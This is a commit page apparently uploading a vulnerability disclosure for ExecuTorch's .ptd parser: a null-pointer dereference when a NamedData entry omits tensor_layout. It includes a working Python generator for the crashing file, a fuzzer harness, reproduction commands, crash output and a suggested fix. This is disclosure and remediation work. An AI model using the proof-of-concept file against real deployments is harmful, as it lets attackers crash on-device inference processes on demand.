tsk-arasu commited on
Commit
5530c04
·
verified ·
1 Parent(s): b455c45

Upload folder using huggingface_hub

Browse files
REPORT.md ADDED
@@ -0,0 +1,201 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Null Pointer Dereference in ExecuTorch FlatTensorDataMap via Missing tensor_layout Field (.ptd)
2
+
3
+ **Target:** ExecuTorch 1.3.1 (.pte / .ptd, huntr Model File Vulnerability program)
4
+ **Severity:** Low-Medium (Denial of Service)
5
+ **CWE:** CWE-476 (NULL Pointer Dereference)
6
+ **Component:** `extension/flat_tensor/flat_tensor_data_map.cpp`
7
+ **Authentication Required:** No — the only requirement is that a victim application loads an attacker-supplied `.ptd` file.
8
+
9
+ ## Summary
10
+
11
+ ExecuTorch's `.ptd` (FlatTensor) format lets a `NamedData` entry optionally carry a `tensor_layout` field describing the shape of a tensor blob. The schema comment explicitly documents this field as optional ("if the underlying data is a tensor, store layout information"), but `create_tensor_layout()` in `extension/flat_tensor/flat_tensor_data_map.cpp` dereferences this pointer unconditionally. A `.ptd` file with a well-formed `NamedData` entry that simply omits `tensor_layout` causes a null-pointer dereference and crashes any process that calls `FlatTensorDataMap::get_tensor_layout()` or `FlatTensorDataMap::load_data_into()` on that entry's key.
12
+
13
+ This is reachable both directly (an application using the `extension/flat_tensor` public API) and through the ordinary `.pte` + `.ptd` loading flow, since `runtime/executor/tensor_parser_exec_aten.cpp`'s `getTensorDataPtr()` calls `get_tensor_layout()` when resolving a mutable external tensor referenced by fully-qualified name.
14
+
15
+ ## Vulnerability Details
16
+
17
+ `extension/flat_tensor/serialize/flat_tensor.fbs` defines:
18
+
19
+ ```
20
+ table NamedData {
21
+ key: string;
22
+ segment_index: uint32;
23
+ // Optional: if the underlying data is a tensor, store layout information.
24
+ tensor_layout: TensorLayout;
25
+ }
26
+ ```
27
+
28
+ `extension/flat_tensor/flat_tensor_data_map.cpp` then does:
29
+
30
+ ```cpp
31
+ Result<const TensorLayout> create_tensor_layout(
32
+ const flat_tensor_flatbuffer::TensorLayout* tensor_layout) {
33
+ ScalarType scalar_type =
34
+ static_cast<ScalarType>(tensor_layout->scalar_type()); // <-- no null check
35
+ const int dim = tensor_layout->sizes()->size();
36
+ ...
37
+ }
38
+ ```
39
+
40
+ Both public callers pass `named_data.get()->tensor_layout()` straight into this function with no null check:
41
+
42
+ ```cpp
43
+ Result<const TensorLayout> FlatTensorDataMap::get_tensor_layout(string_view key) const {
44
+ ...
45
+ return create_tensor_layout(named_data.get()->tensor_layout());
46
+ }
47
+
48
+ Error FlatTensorDataMap::load_data_into(string_view key, void* buffer, size_t size) const {
49
+ ...
50
+ Result<const TensorLayout> tensor_layout =
51
+ create_tensor_layout(named_data.get()->tensor_layout());
52
+ ...
53
+ }
54
+ ```
55
+
56
+ flatbuffers returns `nullptr` from a table accessor when the corresponding field was not serialized. Since `tensor_layout` is legitimately optional, a well-formed `.ptd` can have a `NamedData` entry with `key` and `segment_index` set but `tensor_layout` entirely absent. `FlatTensorDataMap::load()`'s own validation (magic check, size check, alignment check, top-level `named_data() != nullptr` / `segments() != nullptr` checks) never inspects the internal fields of individual `NamedData` entries, so this file loads successfully. The crash only occurs on the subsequent `get_tensor_layout()` / `load_data_into()` call for that specific key.
57
+
58
+ `get_data()` is **not** affected — it never touches `tensor_layout`.
59
+
60
+ ## Steps to Reproduce
61
+
62
+ ### Environment
63
+ - Linux x86-64, ExecuTorch 1.3.1 source (as distributed)
64
+ - clang-16 / clang++-16, CMake, Ninja
65
+ - No authentication, no host access, no prior state needed — only the ability to supply a `.ptd` file to a process that loads it
66
+
67
+ ### 1. Build ExecuTorch with sanitizers (proves memory-safety class, not required to observe the crash in a release build — the underlying dereference is unconditional in all build types)
68
+
69
+ ```bash
70
+ export ET_SRC=/path/to/executorch-1.3.1
71
+ export ET_BUILD=/path/to/build-asan
72
+
73
+ cmake -S "$ET_SRC" -B "$ET_BUILD" \
74
+ -DCMAKE_BUILD_TYPE=RelWithDebInfo \
75
+ -DCMAKE_C_COMPILER=clang-16 -DCMAKE_CXX_COMPILER=clang++-16 \
76
+ -DEXECUTORCH_ENABLE_PROGRAM_VERIFICATION=ON \
77
+ -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all" \
78
+ -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all" \
79
+ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
80
+ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined" \
81
+ -DEXECUTORCH_BUILD_EXTENSION_FLAT_TENSOR=ON \
82
+ -DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
83
+ -DEXECUTORCH_BUILD_TESTS=OFF -DEXECUTORCH_BUILD_PYBIND=OFF \
84
+ -DEXECUTORCH_BUILD_XNNPACK=OFF -DEXECUTORCH_BUILD_CPUINFO=OFF \
85
+ -DEXECUTORCH_BUILD_PTHREADPOOL=OFF -DEXECUTORCH_BUILD_EXECUTOR_RUNNER=OFF \
86
+ -G Ninja
87
+
88
+ ninja -C "$ET_BUILD" -j8 executorch_core extension_flat_tensor extension_data_loader
89
+ ```
90
+
91
+ > Note: the repo must be checked out into a directory literally named `executorch` (a known upstream constraint — see https://github.com/pytorch/executorch/issues/6475).
92
+
93
+ ### 2. Build the PoC harness (`poc/harness_flat_tensor_fuzzer.cpp`, included in this report)
94
+
95
+ ```bash
96
+ export ET_PARENT=/path/to/parent-of-executorch
97
+ C10_INC="$ET_SRC/runtime/core/portable_type/c10"
98
+ INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
99
+
100
+ clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
101
+ $INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
102
+ -c poc/harness_flat_tensor_fuzzer.cpp -o harness.o
103
+
104
+ clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
105
+ "$ET_BUILD/extension/flat_tensor/libextension_flat_tensor.a" \
106
+ "$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
107
+ "$ET_BUILD/libexecutorch_core.a"
108
+ ```
109
+
110
+ The harness calls exactly the real public API surface: `FlatTensorDataMap::load()` → `get_num_keys()` → `get_key()` → `get_tensor_layout()` → `get_data()`, matching how a real application would enumerate and inspect a `.ptd` file.
111
+
112
+ ### 3. Generate the PoC .ptd file
113
+
114
+ ```bash
115
+ python3 poc/gen_poc.py "$ET_SRC/extension/flat_tensor/serialize" "$ET_BUILD/third-party/flatc_ep/bin/flatc"
116
+ ```
117
+
118
+ This produces `poc/poc_null_tensor_layout.ptd` (272 bytes, **included in this report — sha256 `9205a89b772c395a93ea8cbb2c364d5eac8941b5b3ccf1a4341a4cddb3956d29`**), a well-formed FlatTensor file with:
119
+ - Valid `FH01` extended header (magic, offsets, sizes all self-consistent)
120
+ - One `NamedData` entry: `key = "weight_no_layout"`, `segment_index = 0`, **`tensor_layout` omitted**
121
+ - One `DataSegment` of 16 bytes, backed by 16 bytes of real segment data
122
+
123
+ ### 4. Trigger the crash
124
+
125
+ ```bash
126
+ export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
127
+ export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
128
+ ./poc_harness -timeout=5 -runs=0 poc/poc_null_tensor_layout.ptd
129
+ ```
130
+
131
+ ### Expected result (secure behavior)
132
+ `FlatTensorDataMap::get_tensor_layout("weight_no_layout")` should return a clean `Error` (e.g. `InvalidExternalData`), since the file is malformed for the purpose of retrieving a layout.
133
+
134
+ ### Actual result
135
+
136
+ ```
137
+ Running: poc/poc_null_tensor_layout.ptd
138
+ extension/flat_tensor/flat_tensor_data_map.cpp:100:46: runtime error: member call on null pointer of type 'flat_tensor_flatbuffer::TensorLayout'
139
+ SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior extension/flat_tensor/flat_tensor_data_map.cpp:100:46 in
140
+ ==<pid>== ERROR: libFuzzer: deadly signal
141
+ #0 ... (abort)
142
+ #1 ... TensorLayout* accessor returning null, dereferenced
143
+ #2 ... create_tensor_layout(...)
144
+ #3 ... FlatTensorDataMap::get_tensor_layout(...)
145
+ #4 ... LLVMFuzzerTestOneInput
146
+ ```
147
+
148
+ The process terminates via `SIGABRT` (UBSan trap under sanitizers; a debug/release build without sanitizers dereferences a near-null pointer through the flatbuffers vtable mechanism, producing undefined behavior — typically `SIGSEGV`).
149
+
150
+ **Reproduced 3/3 identical runs** with the exact same PoC file and command.
151
+
152
+ ## Real-World Reachability (beyond the direct API)
153
+
154
+ This bug is not limited to applications calling the `extension/flat_tensor` API directly. `runtime/executor/tensor_parser_exec_aten.cpp`'s `getTensorDataPtr()` — part of the ordinary tensor-deserialization path used every time a `.pte` program is loaded — calls:
155
+
156
+ ```cpp
157
+ Result<const TensorLayout> tensor_layout_res = named_data_map->get_tensor_layout(fqn);
158
+ ```
159
+
160
+ when resolving a **mutable external tensor** referenced by fully-qualified name. This means the bug is also triggerable through the standard `.pte` + `.ptd` loading flow: any time a `.pte` program references an external mutable tensor by name, and the paired `.ptd`'s `NamedData` entry for that name omits `tensor_layout`, the crash occurs during normal method loading — no direct call to the `extension/flat_tensor` API is required by the victim application at all.
161
+
162
+ ## Impact
163
+
164
+ **Who is affected:** Any application or deployment pipeline that embeds ExecuTorch's `extension/flat_tensor` component (built with `EXECUTORCH_BUILD_EXTENSION_FLAT_TENSOR=ON`, the standard configuration for external-weights / merged-data-map deployments) and loads externally-supplied `.ptd` files — either directly, or indirectly via a `.pte` program that references external mutable tensors by name.
165
+
166
+ **What the attacker can do:** Cause a deterministic, repeatable crash (denial of service) in the victim process simply by supplying a malformed-but-schema-legal `.ptd` file. No data is disclosed, no memory is corrupted, and no code executes — the process cleanly terminates via an unhandled null-pointer dereference.
167
+
168
+ **What's at risk:** Availability of the process loading the file. In an on-device inference pipeline (the primary ExecuTorch deployment model — mobile/edge inference), this means an attacker who can supply a model's external weight file (e.g. via a compromised CDN, a malicious app update, or any untrusted-file-intake pipeline) can reliably crash the inference process on demand.
169
+
170
+ **Exploitation complexity:** No interaction required beyond the victim loading the file ��� no click, no auth, no prior session. This is a pure file-format parsing bug, matching huntr's Model File Vulnerability program's explicitly listed "Denial of Service (DoS) attacks through malformed model files" category.
171
+
172
+ **Why this is NOT rated Critical:** The vulnerability is a controlled null-pointer table-accessor dereference, not an out-of-bounds read/write, integer overflow, or type confusion. No arbitrary code execution, memory disclosure, or persistent state corruption is demonstrated or plausible from this specific defect in isolation. This report deliberately does not inherit any higher severity label from prior automated static-analysis passes over this codebase — those labels were not independently verified and are not a reliable signal of actual impact.
173
+
174
+ ## Suggested Remediation
175
+
176
+ Add a null check on `tensor_layout` before use. Either:
177
+
178
+ 1. **At the point of use** (minimal, localized fix) — in `create_tensor_layout()`:
179
+ ```cpp
180
+ Result<const TensorLayout> create_tensor_layout(
181
+ const flat_tensor_flatbuffer::TensorLayout* tensor_layout) {
182
+ if (tensor_layout == nullptr) {
183
+ return Error::InvalidExternalData;
184
+ }
185
+ ScalarType scalar_type = static_cast<ScalarType>(tensor_layout->scalar_type());
186
+ ...
187
+ ```
188
+
189
+ 2. **Centralized** (more robust) — extend `get_named_data()`'s existing validation block to reject (or flag) `NamedData` entries whose `tensor_layout` is null when the calling context requires layout information, so future callers of `tensor_layout()` inherit the protection automatically.
190
+
191
+ A regression test should build a `.ptd` with a `NamedData` entry lacking `tensor_layout` and assert that `get_tensor_layout()` / `load_data_into()` return a clean `Error` rather than crashing.
192
+
193
+ ## Files Included in This Report
194
+
195
+ - `poc/poc_null_tensor_layout.ptd` — the 272-byte PoC file (sha256 `9205a89b772c395a93ea8cbb2c364d5eac8941b5b3ccf1a4341a4cddb3956d29`)
196
+ - `poc/gen_poc.py` — deterministic script to regenerate the exact same PoC file from ExecuTorch's own `flat_tensor.fbs` schema
197
+ - `poc/harness_flat_tensor_fuzzer.cpp` — the exact harness used to trigger and reproduce the crash against the real public API
198
+
199
+ ## huntr Submission Note
200
+
201
+ Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing (huntr requires a HuggingFace-hosted PoC link, not a local file attachment). `poc/poc_null_tensor_layout.ptd` in this folder is ready for that upload.
poc/gen_poc.py ADDED
@@ -0,0 +1,105 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Generates poc_null_tensor_layout.ptd — a well-formed .ptd (FlatTensor) file
4
+ whose single NamedData entry omits the optional tensor_layout field.
5
+
6
+ Requires: flatc (built from the ExecuTorch source tree's vendored
7
+ third-party/flatbuffers, or any flatc >= 2.x with the project's
8
+ flat_tensor.fbs / scalar_type.fbs schema files).
9
+
10
+ Usage:
11
+ python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc
12
+ """
13
+ import os
14
+ import struct
15
+ import subprocess
16
+ import sys
17
+ import tempfile
18
+
19
+
20
+ def build(schema_dir: str, flatc: str, out_path: str) -> None:
21
+ with tempfile.TemporaryDirectory() as d:
22
+ for fname in ("flat_tensor.fbs", "scalar_type.fbs"):
23
+ with open(os.path.join(schema_dir, fname), "rb") as src:
24
+ data = src.read()
25
+ with open(os.path.join(d, fname), "wb") as dst:
26
+ dst.write(data)
27
+
28
+ # NamedData entry with key + segment_index set, tensor_layout OMITTED.
29
+ json_path = os.path.join(d, "flat_tensor.json")
30
+ with open(json_path, "w") as f:
31
+ f.write(
32
+ """{
33
+ "version": 0,
34
+ "segments": [ { "offset": 0, "size": 16 } ],
35
+ "named_data": [
36
+ { "key": "weight_no_layout", "segment_index": 0 }
37
+ ]
38
+ }"""
39
+ )
40
+
41
+ subprocess.run(
42
+ [flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"],
43
+ cwd=d,
44
+ check=True,
45
+ )
46
+
47
+ with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f:
48
+ raw_fb = f.read()
49
+
50
+ # --- Insert the FlatTensorHeader (extended header) per
51
+ # extension/flat_tensor/serialize/flat_tensor_header.h ---
52
+ EXPECTED_MAGIC = b"FH01"
53
+ HEADER_LEN = 40 # magic(4) + length(4) + fb_offset(8) + fb_size(8) + seg_base(8) + seg_size(8)
54
+ FLATBUFFER_ALIGNMENT = 16
55
+ SEGMENT_ALIGNMENT = 128
56
+
57
+ def aligned_size(n, align):
58
+ return (n + align - 1) // align * align
59
+
60
+ def pad_to(data, length):
61
+ assert len(data) <= length
62
+ return data + bytes(length - len(data))
63
+
64
+ def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes:
65
+ root_offset = int.from_bytes(flatbuffer_data[0:4], "little")
66
+ return (
67
+ (root_offset + len(header_data)).to_bytes(4, "little")
68
+ + flatbuffer_data[4:8]
69
+ + header_data
70
+ + flatbuffer_data[8:]
71
+ )
72
+
73
+ padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT)
74
+ segment_data = bytes([0x11] * 16) # matches segments[0].size == 16
75
+
76
+ flatbuffer_offset = padded_header_length
77
+ flatbuffer_size = len(raw_fb)
78
+ segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT)
79
+ segment_data_size = len(segment_data)
80
+
81
+ header_data = (
82
+ EXPECTED_MAGIC
83
+ + struct.pack("<I", HEADER_LEN)
84
+ + struct.pack("<Q", flatbuffer_offset)
85
+ + struct.pack("<Q", flatbuffer_size)
86
+ + struct.pack("<Q", segment_base_offset)
87
+ + struct.pack("<Q", segment_data_size)
88
+ )
89
+ header_data = pad_to(header_data, padded_header_length)
90
+
91
+ injected = insert_header(raw_fb, header_data)
92
+ injected = pad_to(injected, segment_base_offset)
93
+ final = injected + segment_data
94
+
95
+ with open(out_path, "wb") as f:
96
+ f.write(final)
97
+
98
+ print(f"Wrote {out_path} ({len(final)} bytes)")
99
+
100
+
101
+ if __name__ == "__main__":
102
+ if len(sys.argv) != 3:
103
+ print(__doc__)
104
+ sys.exit(1)
105
+ build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_null_tensor_layout.ptd"))
poc/harness_flat_tensor_fuzzer.cpp ADDED
@@ -0,0 +1,56 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // libFuzzer harness for executorch::extension::FlatTensorDataMap::load()
2
+ // Targets the .ptd flatbuffer parsing path (extension/flat_tensor/flat_tensor_data_map.cpp).
3
+ // Authorized local testing only - huntr MFV scope: ExecuTorch .pte/.ptd parser.
4
+
5
+ #include <cstddef>
6
+ #include <cstdint>
7
+
8
+ #include <executorch/extension/data_loader/buffer_data_loader.h>
9
+ #include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
10
+ #include <executorch/runtime/platform/runtime.h>
11
+
12
+ using executorch::extension::BufferDataLoader;
13
+ using executorch::extension::FlatTensorDataMap;
14
+
15
+ static bool g_initialized = false;
16
+
17
+ extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
18
+ if (!g_initialized) {
19
+ executorch::runtime::runtime_init();
20
+ g_initialized = true;
21
+ }
22
+
23
+ constexpr std::size_t kMaxInput = 32U * 1024U * 1024U;
24
+ if (data == nullptr || size == 0 || size > kMaxInput) {
25
+ return 0;
26
+ }
27
+
28
+ BufferDataLoader loader(data, size);
29
+ auto map = FlatTensorDataMap::load(&loader);
30
+ if (!map.ok()) {
31
+ return 0;
32
+ }
33
+
34
+ auto& m = map.get();
35
+ auto num_keys_res = m.get_num_keys();
36
+ if (num_keys_res.ok()) {
37
+ uint32_t n = num_keys_res.get();
38
+ // Bound the loop - malicious n could be huge but get_key() range-checks it.
39
+ uint32_t iter = n > 4096 ? 4096 : n;
40
+ for (uint32_t i = 0; i < iter; ++i) {
41
+ auto key_res = m.get_key(i);
42
+ if (key_res.ok()) {
43
+ auto layout = m.get_tensor_layout(executorch::aten::string_view(key_res.get()));
44
+ if (layout.ok()) {
45
+ (void)layout.get().nbytes();
46
+ }
47
+ auto data_res = m.get_data(executorch::aten::string_view(key_res.get()));
48
+ if (data_res.ok()) {
49
+ data_res.get().Free();
50
+ }
51
+ }
52
+ }
53
+ }
54
+
55
+ return 0;
56
+ }
poc/poc_null_tensor_layout.ptd ADDED
Binary file (272 Bytes). View file